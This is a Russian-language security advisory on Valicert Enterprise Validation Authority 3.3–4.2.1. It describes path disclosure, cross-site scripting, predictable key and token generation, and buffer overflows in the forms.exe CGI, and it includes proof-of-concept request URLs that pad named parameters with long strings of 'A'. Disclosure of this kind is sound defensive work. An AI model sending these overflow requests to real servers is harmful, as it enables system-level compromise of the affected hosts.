Valicert Enterprise VA обеспечивает проверку для X.509
удостоверений и поддерживает следующие
механизмы проверки:
- Certificate Revocation Lists
- CRL Distribution Points
- Online Certificate Status Protocol
Найдено несколько уязвимостей в продукте:
1. Раскрытие пути
Проблема раскрытия пути существует в CGI
сценарии forms.exe, который используется при
добавлении нового расширения. Следующий URL:
http://computer:13333/cgi-bin/forms.exe?Extension=foobar*command=Add
Возвращает страницу ошибки со следующим
текстом:
Following Input/Configuration file is NOT FOUND in the required location.
FILENAME = foobar
LOCATION = D:\Program Files\ValiCert\EnterpriseVA\entserv
Make sure the file is present in the above location and try again.
2. Проблемы межсайтового скриптинга
Из-за недостатка входной проверки
правильности и фильтрации, существует
проблема межсайтового скриптинга в
создании свидетельства в административном
интерфейсе Valicert. Пользователь, создающий
свидетельство может вставлять HTML код в поля.
Хотя при этом и не возможно обратиться к
неправомочным ресурсам, проблема может
использоваться для манипуляции важными
данными.
3. Проблема случайной генерации ключей
Valicert генерирует 'случайные' маркеры для
связи с Аппаратными Модулями Защиты
используя функцию C rand(). Кроме того, rand()
функция использует местное системное время.
Сам факт использования только системного
времени делает такие числа предсказуемыми.
Наконец, если устройство '/dev/urandom'
существует, Valicert будет использовать его для
порождения свидетельства. Хотя для
большинства целей устройство '/dev/urandom'
достаточно безопасно, оно не выполняет
блокирование, когда его энтропийный пул
низок. Учитывая, что в пределах PKI, не отказ (в
деловом, а не математическом смысле)
первостепенен, такое поведение устройства
'/dev/random' гораздо более подходяще.
4. Множественные переполнения буфера
Переполнение буфера существует в
подмодулях приложения form.exe: Mode, Certificate_File,
useExpiredCRLs, listenLength, maxThread, maxConnPerSite, maxMsgLen, exitTime,
blockTime, nextUpdatePeriod, buildLocal, maxOCSPValidityPeriod, extension.
Уязвимость позволяет выполнение
произвольного кода с системными правами.
Примеры (для перечисленных переменных):
http://localhost:13333/cgi-bin/forms.exe?forms.exe?command=change_index_mode&mode={A
x 265}
http://localhost:13333/cgi-bin/forms.exe?CertServerSelection
=Microsoft&Certificate_Type=SHARE&Certificate_Files
={A x 1028}&command=Submit+Certificate+Type
http://localhost:13333/cgi-bin/forms.exe?serverHost=computer&port
=80&listenLength=100&maxThread=16&maxConnPerSite=100&maxMsgLen
=20000&exitTime=-1&blockTime=5&nextUpdatePeriod=300&logFile
=logs%2Fva&buildLocal=1&useSoftwareSigning=Software&sslSigningType
=Software&sslServerHost=&sslCertFile=sslCert.cert&sslPrivateKey
=ssl.privkey&useExpiredCRLs={A x 1288}&maxOCSPValidityPeriod
=0&command=Submit+Configuration+Parameters
http://localhost:13333/cgi-bin/forms.exe?serverHost=computer&port
=80&listenLength={A x 1288}&maxThread=16&maxConnPerSite=100&maxMsgLen
=20000&exitTime=-1&blockTime=5&nextUpdatePeriod=300&logFile
=logs%2Fva&buildLocal=1&useSoftwareSigning=Software&sslSigningType
=Software&sslServerHost=&sslCertFile=sslCert.cert&sslPrivateKey
=ssl.privkey&useExpiredCRLs=0&maxOCSPValidityPeriod=0&command
=Submit+Configuration+Parameters
http://localhost:13333/cgi-bin/forms.exe?serverHost=computer&port
=80&listenLength=100&maxThread={A x 1288}&maxConnPerSite=100&maxMsgLen
=20000&exitTime=-1&blockTime=5&nextUpdatePeriod=300&logFile
=logs%2Fva&buildLocal=1&useSoftwareSigning=Software&sslSigningType
=Software&sslServerHost=&sslCertFile=sslCert.cert&sslPrivateKey
=ssl.privkey&useExpiredCRLs=0&maxOCSPValidityPeriod=0&command
=Submit+Configuration+Parameters
http://localhost:13333/cgi-bin/forms.exe?serverHost=computer&port
=80&listenLength=100&maxThread=16&maxConnPerSite={A x 1288}&maxMsgLen
=20000&exitTime=-1&blockTime=5&nextUpdatePeriod=300&logFile
=logs%2Fva&buildLocal=1&useSoftwareSigning=Software&sslSigningType
=Software&sslServerHost=&sslCertFile=sslCert.cert&sslPrivateKey
=ssl.privkey&useExpiredCRLs=0&maxOCSPValidityPeriod=0&command
=Submit+Configuration+Parameters
http://localhost:13333/cgi-bin/forms.exe?serverHost=computer&port
=80&listenLength=100&maxThread=16&maxConnPerSite=100&maxMsgLen
={A x 1288}&exitTime=-1&blockTime=5&nextUpdatePeriod=300&logFile
=logs%2Fva&buildLocal=1&useSoftwareSigning=Software&sslSigningType
=Software&sslServerHost=&sslCertFile=sslCert.cert&sslPrivateKey
=ssl.privkey&useExpiredCRLs=0&maxOCSPValidityPeriod=0&command
=Submit+Configuration+Parameters
http://localhost:13333/cgi-bin/forms.exe?serverHost=computer&port
=80&listenLength=100&maxThread=16&maxConnPerSite=100&maxMsgLen
=20000&exitTime={A x 1288}&blockTime=5&nextUpdatePeriod=300&logFile
=logs%2Fva&buildLocal=1&useSoftwareSigning=Software&sslSigningType
=Software&sslServerHost=&sslCertFile=sslCert.cert&sslPrivateKey
=ssl.privkey&useExpiredCRLs=0&maxOCSPValidityPeriod=0&command
=Submit+Configuration+Parameters
Уязвимость найдена в Valicert Enterprise Validation Authority
3.3- 4.2.1.